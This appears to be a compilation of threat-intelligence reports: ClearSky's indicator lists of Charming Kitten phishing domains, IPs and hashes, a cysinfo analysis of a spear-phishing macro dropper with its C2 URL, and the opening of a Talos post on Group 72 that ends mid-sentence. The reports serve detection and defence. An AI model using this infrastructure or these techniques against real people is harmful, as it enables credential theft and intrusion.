com-video[. ]net com-videoservice[. ]work com-viewchannel[. ]club confirm-code[.]account-support-user[. ]com crcperss[. ]com cvcreate[. ]org digitalqlobe[. ]com display-error-runtime[. ]com display-ganavaro-abrashimchi[. ]com docs-google[. ]co documents[.]sytes[. ]net documents-supportsharing[. ]bid documents-supportsharing[. ]club document-supportsharing[. ]bid doc-viewer[. ]com download[.]account-login[. ]net download-google[.]com-orginal-links[. ]ga download-google[.]orginal-links[. ]com download-link[. ]top drive[. ]change-mail-account-nodes- permision[. ]com drive[.]google[.]com[.]accounts[.]activities[. ]devic es[.]com[.]usersettings[. ]cf drive[.]google[.]com[.]accounts[.]google[.]com[. ]u sersettings[. ]cf drive[.]google[.]com[.]drive[.]google[.]com[. ]users ettings[. ]cf drive[.]google[.]com[.]usersettings[. ]cf drive[.]privacy-yahoomail[. ]com drive-download[.]account-support-user[. ]com drive-download[. ]account-user-permission- account[. ]com drive-file[.]account-support-user[. ]com drive-google[. ]co drive-login[. ]cf drive-mail[.]account-support-user[. ]com drive-permission-user-account[. ]com drivers[.]document-supportsharing[. ]bid drives-google[. ]co drives-google[. ]com drives-google[.]com[. ]co drive-useraccount-signin-mail[. ]ga dropbox[.]com-servicecustomer[. ]name dropbox[.]com-servicescustomer[. ]name drop-box[. ]vip dropebox[. ]co embraer[. ]co emiartas[. ]com error-exchange[. ]com eursaia[. ]org facebook[.]com-service[. ]gq facebook[.]notification-accountrecovery[. ]com fanderfart22[. ]xyz fardenfart2017[. ]xyz fb[.]com-download[. ]ml fb-login[. ]cf ftp[.]account-logins[. ]com ftp[.]account-permission-mail-user[. ]com ftp[.]accountservice[. ]support ftp[.]accountsservice-support[. ]com ftp[.]archive-center[. ]com ftp[.]britishnews[.]com[. ]co ftp[.]com-recoveryservice[. ]info ftp[.]com-service[. ]net ftp[.]goo-gle[. ]cloud ftp[.]goo-gle[. ]mobi Page 53 of 59 All rights reserved to ClearSky Cyber Security, 2017 ftp[.]microsoft-upgrade[. ]mobi ftp[.]news-onlines[. ]info ftp[.]officialswebsites[. ]info ftp[.]orginal-links[. ]com ftp[.]screen-royall-in-corporate[. ]com ftp[.]screen-shotuser-trash-green[. ]com ftp[.]sdfsd[.]screen-royall-in-corporate[. ]com ftp[.]service-broadcast[. ]com ftp[.]service-recoveryaccount[. ]com ftp[. ]set-ymail-user-account-permission- challenge[. ]com ftp[.]support-aasaam[. ]com ftp[.]support-recoverycustomers[. ]com ftp[.]uk-service[. ]org ftp[.]verify-account[. ]services ftp[.]w3schools-html[. ]com ftp[.]www[.]britishnews[.]com[. ]co ftp[.]www[.]screen-shotuser-trash-green[. ]com gle-mail[. ]com gmail[.]com-recoverymail[. ]bid gmail[.]com-u6[.]userlogin[. ]security- login[.]activity[.]com-verification-accounts[. ]com gmail-recovery[. ]ml gmal[. ]cf goog-le[. ]bid goo-gle[. ]bid goo-gle[. ]cloud google[.]mail[.]com-servicecustomer[. ]bid google[.]mail[.]mail[.]google[. ]com- servicecustomer[. ]bid google[.]mail[.]www[.]com-servicecustomer[. ]bid goo-gle[. ]mobi google-drive[.]account-servicerecovery[. ]com google-drive[.]accounts-service[. ]support google-drive[.]account-support-user[. ]com google-drive[.]com[.]accountservice[. ]support google-drive[.]service-recoveryaccount[. ]com google-hangout[.]accountservice[. ]support google-hangout[.]accounts-service[. ]support google-hangout[.]account-support-user[. ]com google-hangout[.]verify-account[. ]services google-mail[.]com[. ]co googlemail[.]com-customersuperuser[. ]bid google-mail-recovery[. ]com googlemails[. ]co google-profile[. ]com google-profiles[. ]com google-setting[. ]com google-verification[. ]com google-verify[. ]com google-verify[. ]net hangout[.]com-messagecenter[. ]bid hangout[.]messageservice[. ]club help-recovery[. ]com hot-mail[. ]ml hqr-mail[.]nioc-intl[. ]account-user-permission- account[. ]com id-bayan[. ]com iforget-memail-user-account[. ]com iranianuknews[. ]com ir-owa-accountservice[. ]bid itunes-id-account[.]users-login[. ]com k2intelliqence[. ]com k2intelliqence[. ]com komputertipstrik[.]com-customeradduser[. ]bid line-en[. ]me log[.]account[.]accountservice[. ]support login[.]com-service[. ]net login[.]radio-m[. ]cf login-account[. ]net login-account-google[.]orginal-links[. ]com login-account-mail[. ]com login-again[. ]ml login-mail[.]account-servicerecovery[. ]com login-mail[.]verify-account[. ]services login-mails[.]account-servicerecovery[. ]com login-mails[.]accounts-service[. ]support login-mails[.]account-support-user[. ]com login-mails[.]verify-account[. ]services login-required[. ]ga login-required[. ]ml login-required[. ]tk logins-mails[.]account-customerservice[. ]com logins-mails[.]account-servicerecovery[. ]com logins-mails[.]accounts-service[. ]support logins-mails[.]accountsservice-support[. ]com logins-mails[.]com-servicecustomer[. ]name logins-mails[.]service-recoveryaccount[. ]com login-webmail[.]accounts-service[. ]support login-webmail[.]account-support-user[. ]com login-webmail[.]verify-account[. ]services logn-micrsftonine-con[. ]ml m[.]com-service[. ]net mail[.]account-google[. ]co mail[.]com-service[. ]net mail[.]google[.]com-customerservice[. ]name mail[.]google[.]com-customerservices[. ]name mail[.]google[.]com-recoveryservice[. ]info mail[.]google[.]com-servicecustomer[. ]bid mail[.]google[.]com-servicescustomer[. ]name mail[.]google[.]mail[.]google[. ]com- servicecustomer[. ]bid mail[.]google[.]www[.]com-servicecustomer[. ]bid mail[.]google[.]www[.]dropbox[. ]com- servicescustomer[. ]name mail[.]group-google[. ]com Page 54 of 59 All rights reserved to ClearSky Cyber Security, 2017 mail[.]mehrnews[. ]info mail[.]orginal-links[. ]com mail[.]yahoo[.]com-servicecustomer[. ]name mail[.]youtube-com[. ]watch mail3[.]google[.]com-servicecustomer[. ]name mail-account-register-recovery[. ]com mailgate[.]youtube-com[. ]watch mailgoogle[.]com-recoveryidentifier[. ]bid mailgoogle[.]com-recoverymail[. ]bid mailgoogle[.]com-recoveryservice[. ]bid mailgoogle[.]com-recoverysuperuser[. ]bid mailgoogle[.]com-recoverysupport[. ]bid mail-google[.]com-servicecustomer[. ]name mailgoogle[.]com-servicerecovery[. ]bid mail-inbox[.]account-support-user[. ]com mail-login[.]account-login[. ]net mail-login[.]accountservice[. ]support mail-login[.]account-servicerecovery[. ]com mail-login[.]service-recoveryaccount[. ]com mail-login[.]verify-account[. ]services mail-macroadvisorypartners[. ]ml mails[.]com-servicerecovery[. ]name mails-account-signin-users-permssion[. ]com mailscustomer[.]recovery-emailcustomer[. ]com mailssender[. ]bid mail-user-permission-sharedaccount[. ]com mail-usr[.]account-support-user[. ]com mail-verify[.]account-support-user[. ]com mail-yahoo[.]com[. ]co market-account-login[. ]net me[.]youtube[.]com-mychannel[. ]bid mehrnews[. ]info messageservice[. ]bid messageservice[. ]club mfacebook[.]login-required[. ]ga microsoft-hotfix[. ]com microsoft-update[. ]bid microsoft-upgrade[. ]mobi microsoft-utility[. ]com msoffice-update[. ]com mx1[.]group-google[. ]com my[.]youtube[.]com-mychannel[. ]bid myaccount-login[. ]net mychannel[.]ddns[. ]net mychannel[.]ddns[. ]net mydrives[.]documents-supportsharing[. ]bid myemails[.]com-recoverysuperuser[. ]name my-healthequity[. ]com mymail[.]com-recoveryidentifiers[. ]bid mymail[.]com-recoverysuperuser[. ]name my-mailcoil[. ]ml mymails[.]com-recoverysuperuser[. ]bid mymails[.]com-recoverysuperuser[. ]name myscreenname[. ]bid news-onlines[. ]info nex1music[. ]ml notification-accountrecovery[. ]com ns1[.]check-yahoo[. ]com ns1[.]com-service[. ]net ns2[.]check-yahoo[. ]com nvidia-support[. ]com nvidia-update[. ]com officialswebsites[. ]info official-uploads[. ]com ogin-mails[.]accounts-service[. ]support onedrive-signin[. ]com onlinedocument[. ]bid onlinedocuments[. ]org onlinedrie-account-permission-verify[. ]com onlineserver[.]myftp[. ]biz online-supportaccount[. ]com orginal-links[. ]com outlook-livecom[. ]bid owa-insss-org-ill-owa-authen[. ]ml paypal[.]com[.]webapp[.]logins-mails[. ]service- recoveryaccount[. ]com paypal[.]com[.]webapp[.]paypal[.]com[.]webapp[. ] service-recoveryaccount[. ]com paypal[.]com[.]webapp[. ]service- recoveryaccount[. ]com picofile[. ]xyz policy-facebook[. ]com pop[.]group-google[. ]com privacy-facebook[. ]com privacy-gmail[. ]com privacy-yahoomail[. ]com profile[.]facebook[.]accountservice[. ]support profile[.]facebook[. ]notification- accountrecovery[. ]com profile-facebook[. ]co profiles-facebook[. ]com profile-verification[. ]com qet-adobe[. ]com radio-m[. ]cf raykiel[. ]net recoverycodeconfirm[. ]bid recovery-customerservice[. ]com recovery-emailcustomer[. ]com recoverysuperuser[. ]bid register-multiplay[. ]ml reset-login[.]accountservice[. ]support reset-login[.]account-support-user[. ]com reset-login-yahoo-com[. ]account-support- user[. ]com reset-mail[.]account-support-user[. ]com Page 55 of 59 All rights reserved to ClearSky Cyber Security, 2017 reset-mail-yahoo-com[. ]account-support- user[. ]com resets-mails[.]account-support-user[. ]com result2[.]com-servicescustomer[. ]name result2[.]www[.]dropbox[. ]com- servicescustomer[. ]name sadashboard[. ]com saudiarabiadigitaldashboards[. ]com saudi-government[. ]com saudi-haj[. ]com screen-royall-in-corporate[. ]com screen-shotuser-trash-green[. ]com sdfsd[.]screen-royall-in-corporate[. ]com sdfsd[.]screen-shotuser-trash-green[. ]com security-supportteams-mail-change[. ]ga service-accountrecovery[. ]com service-broadcast[. ]com servicecustomer[. ]bid servicelogin-mail[.]account-servicerecovery[. ]com service-logins[. ]net servicemailbroadcast[. ]bid service-recoveryaccount[. ]com set-ymail-user-account-permission- challenge[. ]com shared-access[. ]com shared-login[. ]com shared-permission[. ]com shop[.]account-dropbox[. ]net shorturlbot[. ]club show[.]video-youtube[. ]cf show-video[. ]info slmkhubi[.]ddns[. ]net smstagram[. ]com smtp[.]com-service[. ]net smtp[.]group-google[. ]com smtp[.]youtube-com[. ]watch sports[.]accountservice[. ]support sprinqer[. ]com support[.]account-google[. ]co support-aasaam[. ]bid support-aasaam[. ]com support-accountsrecovery[. ]com support-google[. ]co support-recoverycustomers[. ]com supports-recoverycustomers[. ]com support-verify-account-user[. ]com tadawul[.]com[. ]co tai-tr[. ]com tcp[.]shorturlbot[. ]club team-speak[. ]cf team-speak[. ]ga team-speak[. ]ml teamspeak-download[. ]ml teamspeaks[. ]cf telagram[. ]cf test[.]service-recoveryaccount[. ]com token-ep[. ]com uk-service[. ]org update-checker[. ]net update-driversonline[. ]bid update-driversonline[. ]club update-finder[. ]com update-microsoft[. ]bid updater-driversonline[. ]club update-system-driversonline[. ]bid uploader[.]sytes[. ]net upload-services[. ]com uri[. ]cab us[.]battle[.]net[.]cataclysm[. ]account- logins[. ]com usersettings[. ]cf users-facebook[. ]com users-login[. ]com users-yahoomail[. ]com utc[.]officialswebsites[. ]info utopaisystems[. ]net verify-account[. ]services verify-accounts[. ]info verify-facebook[. ]com verify-gmail[. ]tk verify-your-account-information[. ]users- login[. ]com video[.]yahoo[.]com[.]accountservice[. ]support video[.]yahoo[.]com-showvideo[. ]gq video[.]youtube[.]com-showvideo[. ]ga video-mail[.]account-support-user[. ]com video-yahoo[.]accountservice[. ]support video-yahoo[.]account-support-user[. ]com video-yahoo[.]com[.]accountservice[. ]support video-youtube[. ]cf w3sch00ls[.]hopto[. ]org w3school[.]hopto[. ]org w3schools[.]hopto[. ]org w3schools-html[. ]com watch-youtube[.]org[. ]uk webmaiil-tau-ac-il[. ]ml webmail-login[.]accountservice[. ]support webmail-tidhar-co-il[. ]ml wildcarddns[.]com-service[. ]net windows-update[. ]systems wp[.]com-microsoftonline[. ]club ww2[.]group-google[. ]com ww62[.]group-google[. ]com ww62[.]mx1[.]group-google[. ]com ww92[.]group-google[. ]com xn--googe-q2e[. ]ml Page 56 of 59 All rights reserved to ClearSky Cyber Security, 2017 yahoo[.]com[.]accountservice[. ]support yahoo-proflles[. ]com yahoo-verification[. ]net yahoo-verification[. ]org yahoo-verify[. ]net youetube[. ]ga yourl[. ]bid youttube[. ]ga youttube[. ]gq youtubbe[. ]cf youtubbe[. ]ml youtube[.]com[.]login-account[. ]net youtube[.]com-service[. ]gq youtube-com[. ]watch youtubee-videos[. ]com youtubes[.]accounts[.]com-serviceslogin[. ]com youtuebe[. ]co youtuobe[.]com[. ]co youutube[. ]cf yurl[. ]bid admindoc-viewer.com admindropebox.co adminscreen-royall-in-corporate.com adminscreen-shotuser-trash-green.com anita.jephersongmail.com aryaieirangmail.com aryaieirangmail.com bahra.azadeh88gmail.com cave.detectoryandex.com cave.detectoryandex.com center2016yandex.com chada.martiniyandex.com chada.martiniyandex.com cool.hiramyandex.com customers.mailservicegmail.com customers.noreplyservicegmail.com international.researchmail.com isabella.careyygmail.com isabella.careyygmail.com john.lennonuymail.com jully.martinyandex.com jully.martinyandex.com mails.customerservicesgmail.com martin.switch911gmail.com martin.switch911gmail.com message.intercomgmail.com message.intercomgmail.com nami.rosokigmail.com online.nicyandex.com online.nicyandex.com rich.safeyandex.com rskitmangmail.com sali.rashyandex.com sali.rashyandex.com service.center2016yandex.com service.center2016yandex.com suspended.user.noitificationgmail.com yaffa.hyatt9617gmail.com 107.150.38.19 107.150.60.156 107.150.60.158 107.6.179.131 136.243.108.100 136.243.221.148 136.243.226.189 137.74.131.208 137.74.148.218 144.76.97.61 144.76.97.62 145.239.120.88 149.56.135.42 149.56.201.205 158.255.1.34 164.132.251.217 164.132.29.69 173.208.129.180 173.244.180.131 173.244.180.132 173.244.180.133 173.244.180.134 173.45.108.55 173.90.180.125 178.33.38.128 185.117.74.165 185.141.24.64 185.141.24.66 185.82.202.174 192.99.127.216 194.88.107.63 204.12.207.108 204.12.207.110 204.12.242.84 204.12.242.85 207.244.77.15 207.244.79.143 207.244.79.144 207.244.79.147 207.244.79.148 208.110.73.219 208.110.73.220 208.110.73.221 208.110.73.222 209.190.3.113 209.190.3.114 209.190.3.115 209.190.3.41 Page 57 of 59 All rights reserved to ClearSky Cyber Security, 2017 209.190.3.42 209.190.3.43 213.152.173.198 213.32.11.30 213.32.49.232 217.23.3.158 217.23.5.166 31.3.236.90 31.3.236.91 31.3.236.92 37.220.8.13 46.17.97.240 46.17.97.243 46.17.97.37 46.17.97.40 5.152.202.51 5.152.202.52 5.79.105.153 5.79.105.156 5.79.105.161 5.79.105.165 5.79.69.198 51.254.254.217 51.255.28.57 54.36.217.8 69.30.221.126 69.30.224.244 69.30.224.245 81.171.25.229 81.171.25.232 85.17.172.170 86.105.1.111 91.218.245.251 92.222.206.208 93.158.200.170 93.158.215.50 93.158.215.52 94.23.90.226 00b5d45433391146ce98cd70a91bef08 07fb3f925f8ef2c53451b37bdd070b55 0a3f454f94ef0f723ac6a4ad3f5bdf01 0e3cb289f65ef5faf40fa830ac9b1bf6 1c00fd5e1ddd0226bd854775180fd361 1db12ec1f335ee5995b29dea360514a2 20f2da7b0c482ab6a78e9bd65a1a3a92 253b4f5c6611a4bc9c7f5269b127c8e9 3261d45051542ab3e54fa541f132f899 356439bfb9b2f49858897a22dd85df86 365482f10808ddd1d26f3dc19c41c993 3bb2f304a59255dddc5ef6bb0a32aec7 3edec580845d7ab85fa893afb391fbfb 5e9a458dcdfc9d2ce996081ec87c30e0 5ec9f484603b89f80f351bb88279ebb1 6bd505616e12e3dd7f2287f24f34609f 6cfa579dd1d33c2fa42d85c2472f744c 7df3a83dfcce130c01aabede3cfe8140 7e1cf48d84e503499c9718c50e7a1c52 9c7ae44baf8df000bb614738370d1171 9d0e761f3803889dc83c180901dc7b22 a43b7cc495741248f3647e647f776467 a9117da1cb51adbc88a52a6e3b16a6c4 ae797446710e375f0fc9a33432d64256 af5c01a7a3858bc3712ab69bc673cec4 bd0a6fe7a852fdd61c1da37cf99103d2 be207941ce8a5e212be8dde83d05d38d bfd21f2847c1d7aa0f409ef52ed52e05 c7760dc8f7baf67f80ab549af27df9e9 c96453247ee1ecbd4053da8bbb4cf572 ccaf21e122ca9d2e2397a9e28eb4cc87 d6ea39e1d4aaa8c977a835e72d0975e3 d6fa439f0278babb1edff32d8dc31c59 da1f6a5f2a5564c2131b4a311c55f487 e7dd9b8fe7ae14faad304d139f71b629 e93992f26f224ea53d9bdd9564e8e1c0 edd4011696ddd349575278aed7031a47 f5763b8b796b1c5d04febcc65f853967 f7f9806af42adb80d100e55f35cfa86c f9255e0d492eb20df1e78ccc970b121a fac158623b0e3ed3bea6e24b1795cb95 479e1e02d379ad6c3c7f496d705448fa955b50a1 67bb83bbe82ffa910386216619c5ebf9eecf13e6 6cacf83033fa97f4ac27eb27e4aa265afa4dc51d a2f17906ca39e7f41a8adeea4be5ffb7d1465c4a c5ea8680162d3e8bc3d71c060c15bf224c873f7a d97b13ed0fe3e41b60b9d45b6e7f68c9b6187b96 eac4a47f238ee62661f464a807b3e0b5079b835f ecf9b7283fda023fa37ad7fdb15be4eadded4e06 19c0977fdbc221f7d6567fb268a4ef4cd2a759fcbc1 039a82366978089f080d2 1a24714fd99030bd63804ab96fc2612f148a5f08d1 c2845152c3a0e168600db9 261c5f32abb8801576ce81be2c66bca564a8a28ab 5ea0954bad6bac7071e299b 2c92da2721466bfbdaff7fedd9f3e8334b688a88ee 54d7cab491e1a9df41258f 2db1e2c49ff0792b54d84538c9a420de7aa619602 b66add502e2b6ea7c79fd4b 4fff9cd7f5f4c9048cfaf958a54cc4c4bc14c9fdbfd63 e2c17f79913f0ea8c21 6618051ea0c45d667c9d9594d676bc1f4adadd8cb 30e0138489fee05ce91a9cb 8aff94ceb2fed8ba864df929fbbec3dd82cbd968c5 b2f42971fb756d1ba1ecb6 a86ccf0049be20c105e2c087079f18098c739b86d5 2acb13f1d41f1ccc9f8e1c Page 58 of 59 All rights reserved to ClearSky Cyber Security, 2017 acca9f004a596ea33af65725c2319bf845a442ee9fa 09c511d359df2f632cf4d b0b177d06fb987429f01d937aaa1cbb7c93a69cfae f146b60f618f8ab26fac38 d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349 f6e192b10d83047a74c9d7 d7e1d13cab1bd8be1f00afbec993176cc116c2b233 209ea6bd33e6a9b1ec7a7f d7f2b4188b7c30c1ef9c075891329dbcf8e9b5ebac 1ef8759bc3bb2cf68c586f d84e808e7d19a86bea3862710cae1c45f7291e984 c9857d0c86881812674d4bb e6cd39cf0af6a0b7d8129bf6400e671d5fd2a3797b 92e0fe4a8e93f3de46b716 Page 59 of 59 All rights reserved to ClearSky Cyber Security, 2017 Appendix B - Previous reports about Charming Kitten and Rocket Kitten Rocket Kitten: rocket kitten: a campaign with 9 lives - Check Point Blog38 LONDON CALLING Two-Factor Authentication Phishing From Iran39 Thamar Reservoir An Iranian cyber-attack campaign against targets in the Middle East40 Rocket Kitten Showing Its Claws: Operation Woolen-GoldFish and the GHOLE campaign41 The Kittens Strike Back: Rocket Kitten Continues Attacks on Middle East Targets42 Increased Use of Android Malware Targeting Journalists43 Iran and the Soft War for Internet Dominance44 Charming Kitten: iKittens: Iranian Actor Resurfaces with Malware for Mac (MacDownloader)45 Fictitious Profiles and WebRTCs Privacy Leaks Used to Identify Iranian Activists46 Freezer Paper around Free Meat47 38 https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf 39 https://citizenlab.ca/2015/08/iran_two_factor_phishing/ 40 http://www.clearskysec.com/thamar-reservoir/ 41https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go- phishing 42 https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east- targets 43 https://iranthreats.github.io/resources/android-malware/ 44 https://iranthreats.github.io/us-16-Guarnieri-Anderson-Iran-And-The-Soft-War-For-Internet-Dominance-paper.pdf 45 https://iranthreats.github.io/resources/macdownloader-macos-malware/ 46 https://iranthreats.github.io/resources/webrtc-deanonymization/ 47 https://securelist.com/freezer-paper-around-free-meat/74503/ https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://citizenlab.ca/2015/08/iran_two_factor_phishing/ http://www.clearskysec.com/thamar-reservoir/ https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east-targets https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-east-targets https://iranthreats.github.io/resources/android-malware/ https://iranthreats.github.io/us-16-Guarnieri-Anderson-Iran-And-The-Soft-War-For-Internet-Dominance-paper.pdf https://iranthreats.github.io/resources/macdownloader-macos-malware/ https://iranthreats.github.io/resources/webrtc-deanonymization/ https://securelist.com/freezer-paper-around-free-meat/74503/ 1 month ago Malware Actors Using NIC Cyber Security Themed Spear Phishing to Target Indian Government Organizations cysinfo.com /malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government- organizations/ This blog post describes an attack campaign where NIC (National Informatics Centre) Cyber Security themed spear phishing email was used to possibly target Indian government organizations. In order to infect the victims, the attackers distributed spear-phishing email, which purports to have been sent from NICs Incident response team, the attackers spoofed an email id that is associated with Indian Ministry of Defence to send out email to the victims. Attackers also used the name of the top NIC official in the signature of the email, this is to make it look like the email was sent by a high ranking Government official working at NIC (National Informatics Centre). Overview of the Malicious Email The attackers spoofed an email id that associated with Indian Ministry of Defence to send out emails to the victims. The email was made to look like it was sent from NICs Incident response team instructing the recipients to read the attached documents and to implement the cyber security plan and the signature of the email included the name of the top ranking NIC official. The email contained two attachments, a PDF document and a malicious word document (NIC-Cyber Security SOP.doc). The pdf document was a legitimate document which attackers might have downloaded from (http://meity.gov.in/sites/upload_files/dit/files/Plan_Report_on_Cyber_Security.pdf). The word document attached in the email contained malicious macro code which when enabled, drops a malware backdoor, executes it and then sends the system information to the command and control server (C2 Server) and its also downloads additional components. From the email (and the attachments shown in the below screenshot) it looks like the goal of the attackers was to infect and take control of the systems of Cyber Security officers who are responsible for managing and implementing security controls on the Government network. 1/9 https://cysinfo.com/malware-actors-using-nic-cyber-security-themed-spear-phishing-target-indian-government-organizations/ http://www.nic.in/ http://meity.gov.in/sites/upload_files/dit/files/Plan_Report_on_Cyber_Security.pdf https://cysinfo.com/wp-content/uploads/2016/11/15.png https://cysinfo.com/wp-content/uploads/2016/11/17a.png https://cysinfo.com/wp-content/uploads/2016/11/2.png https://cysinfo.com/wp-content/uploads/2016/11/3.png https://cysinfo.com/wp-content/uploads/2016/11/4a.png https://cysinfo.com/wp-content/uploads/2016/11/5.png https://cysinfo.com/wp-content/uploads/2016/11/6a.png https://cysinfo.com/wp-content/uploads/2016/11/6b.png https://cysinfo.com/wp-content/uploads/2016/11/6c.png https://cysinfo.com/wp-content/uploads/2016/11/7.png https://cysinfo.com/wp-content/uploads/2016/11/8.png https://cysinfo.com/wp-content/uploads/2016/11/7.png https://cysinfo.com/wp-content/uploads/2016/11/9.png https://cysinfo.com/wp-content/uploads/2016/11/10.png https://cysinfo.com/wp-content/uploads/2016/11/11.png https://cysinfo.com/wp-content/uploads/2016/11/14.png https://cysinfo.com/wp-content/uploads/2016/11/18-1.jpg The email header consisted of ORCPT (Original-Recipient) header, which had reference to what appears to be a mailer list associated with Indian Ministry of External Affairs, this indicates that the attackers probably wanted to infect the users connected with Indian Ministry of External Affairs either to spy or to take control of their systems. Analysis of Word Document Containing Malicious Macro Code Once the victim opens the attached word document it prompts the user to enable macro as shown below and the document also contains instruction on how to enable the macros. If the victim enables the macro content, the malicious code drops the malware sample and exectutes it and it also shows a decoy document containing the instructions and guidelines related to cyber security. This is to make the user believe that is it indeed a document related to cyber security. Below are some of the screen shots showing the document that will shown to the user once the macro is enabled. 2/9 The malicious macro code was reverse engineered to understand its capabilities. The macro code is heavily obfuscated (uses obscure variable/function names to make analysis harder) as shown below. 3/9 The macro code first calls multiple functions to decode the executable content and then it drops the malicious executable (WINWORD.exe) in the Startup directory and then executes the dropped file as shown in the below screen shots. Once the dropped file is executed by macro code it connects to the command and control server(c2 server) and to conceal the data sent by the malware, it communicates on port 443 (https) as shown below. The network traffic 4/9 pattern will be discussed in detail later. Analysis of the Dropped Executable (WINWORD.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server). This section contains the behavioral analysis of the dropped executable (WINWORD.exe). The malware when executed creates additional files on the file system, It downloads these files by contacting the C2 server and saves it on the disk. Since the malware was not allowed to contact the C2 server its not clear about the functionality of these files. The below screen shots show WINWORD.exe creating an exectuable, VB script and VBE files. The malware uses WScript.exe to execute the VB scripts. As mentioned above, malware once executed makes an https connection to the C2 server as shown below. C2 Communication Pattern Upon execution malware makes an https connection to the url hxxps://webmail[.]duia[. ]in/webmail.php. The https connection was intercepted and different network communications were determined. In the first communication it collects and sends the system information of the infected system to the attacker in the 5/9 user-agent field. The user-agent field contains information about the computer name, username and if the AntiVirus software is installed or not. The malware sends some information in the post data as well, the post data gives the information about the action that malware will perform. In the below screen shot notice the system information sent in the user-agent field and also from the post data it can be deduced that the malware downloads an exe file. Malware uses similar network communication pattern to download additional files (vbs, vbe, cmd, sc, ext, a3x etc). Once downloaded these files are saved in either LocalAppData\Temp\WindowsUpdates folder or in Temp\WindowsUpdates folder. During analysis it was determined that the malware used these filenames (MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe etc.) to reside in these directories. Below screen shots shows some of the network communication made by the malware to download files. C2 Domain Information This section contains details of the C2 domain (webmail[.]duia[. ]in). Attackers used the DynamicDNS hostname 6/9 (duia is a Dynamic DNS provider) to host the C2 server, this allows the attacker to quickly change the IP address in real time if the malware C2 server infrastructure is unavailable. The C2 domain currently resolves to an IP address shown below and the same domain was associated with another IP address previously. Both the IP addresses are associated with hosting providers as shown in the screen shot below 7/9 Indicators Of Compromise The indicators are provided below, so that they can be used by the organizations (Government, Public and Private organizations) to detect and investigate this attack campaign. Dropped Malware Sample: 4dc28faeb77550174b936d9ba97d4679 (WINWORD.exe) Network Indicators Associated with C2: webmail[.]duia[. ]in hxxps://webmail[.]duia[. ]in/webmail.php 95[.]23[.]26[. ]28 185[.]100[.]86[. ]174 Host Indicators: Filenames in the Temp\WindowsUpdates folder: MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe Filename WINWORD.exe in the Startup directory 8/9 Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing email address of Ministry of Defence, they also tried to trick the users to believe the email was sent from NICs incident response team. To make the attack less suspicious they also used a legitimate PDF document in the attachment and used the name of the top NIC offical in the email signature. The attackers also hosted the C2 server in a Dynamic DNS provider network. We believe that such attacker groups are likely working to gain long-term access into Indian Government networks. With India rapidly moving towards digitization and cashless transactions we believe that more such cyber attacks will continue to target Government, Defence, NGOs and financial institutions. We have already reported this attack campaign and shared the associated indicators with the Indian CERT and NICs Incident response team. Follow us on Twitter: monnappa22 cysinfo22 9/9 https://twitter.com/monnappa22 https://twitter.com/cysinfo22 Malware Actors Using NIC Cyber Security Themed Spear Phishing to Target Indian Government Organizations Threat Spotlight: Group 72 This post is co-authored by Joel Esler, Martin Lee and Craig Williams Everyone has certain characteristics that can be recognised. This may be a way of walking, an accent, a turn of phrase or a style of dressing. If you know what to look for you can easily spot a friend or acquaintance in a crowd by knowing what characteristics to look for. Exactly the same is true for threat actors. Each threat actor group may have certain characteristics that they display during their attack campaigns. These may be the types of malware that they use, a pattern in the naming conventions of their command and control servers, their choice of victims etc. Collecting attack data allows an observer to spot the characteristics that define each group and identify specific threat actors from the crowd of malicious activity on the internet. Talos security and intelligence research group collects attack data from our various telemetry systems to analyse, identify and monitor threat actors through their different tactics, techniques, and procedures. Rather than give names to the different identified groups, we assign numbers to the threat actors. We frequently blog about significant attack campaigns that we discover, behind the scenes we integrate our intelligence data directly into our products. As part of our research we keep track of certain threat actor groups and their activities. In conjunction with a number of other security companies, we are taking action to highlight and disrupt the activities of the threat actors identified by us as Group 72. Group 72 is a long standing threat actor group involved in Operation SMN, named Axiom by Novetta. The group is sophisticated, well funded, and possesses an established, defined software development methodology. The group targets high profile organizations with high value intellectual property in the manufacturing, industrial, aerospace, defense, media sectors. Geographically, the group almost exclusively targets organizations based in United States, Japan, Taiwan, and Korea. The preferred tactics of the group include watering-hole attacks, spear-phishing, and other web-based tactics. The tools and infrastructure used by the attackers are common to a number of other threat actor groups which may indicate some degree of overlap. We have seen similar patterns used in domain registration for malicious domains, and the same tactics used in other threat actor groups leading us to believe that this group may be part of a larger organization that comprises many separate teams, or that different groups share tactics, code and personnel from time to time. It is possible that Group 72 has a vulnerability research team searching for 0-day vulnerabilities in Windows. The group is associated with the initial attack campaigns utilising exploits for the following vulnerabilities CVE-2014-0322 and CVE-2012-4792 . We have also observed them using SQL injection as http://blogs.cisco.com/author/joelesler http://blogs.cisco.com/author/martinlee/ http://blogs.cisco.com/author/CraigWilliams/ http://www.novetta.com/blog/2014/14/cyber-security-coalition http://tools.cisco.com/security/center/viewAlert.x?alertId32870 http://tools.cisco.com/security/center/viewAlert.x?alertId27711 part of their attacks, and exploits based on CVE-2012-1889 and CVE-2013-3893. Frequently the group deploys a remote access trojan (RAT) on compromised machines. These are used both to steal data and credentials from compromised machines, and to use the machine as a staging post to conduct attacks against further systems on the network, allowing the attackers to spread their compromise within the organization. Unlike some threat actors, Group 72 does not prefer to use a single RAT as part of their attacks. We have observed the group to use the following RAT malware: Gh0st RAT (aka Moudoor) Poison Ivy (aka Darkmoon) HydraQ (aka 9002 RAT aka McRAT aka Naid) Hikit (aka Matrix RAT aka Gaolmay) Zxshell (aka Sensode) DeputyDog (aka Fexel) Using the kumanichi and moon campaign codes Derusbi PlugX (aka Destroy RAT aka Thoper aka Sogu) HydraQ and Hikit, according to our data are unique to Group 72 and to two other threat actor groups. While their operational security is very good, patterns in their domains can be 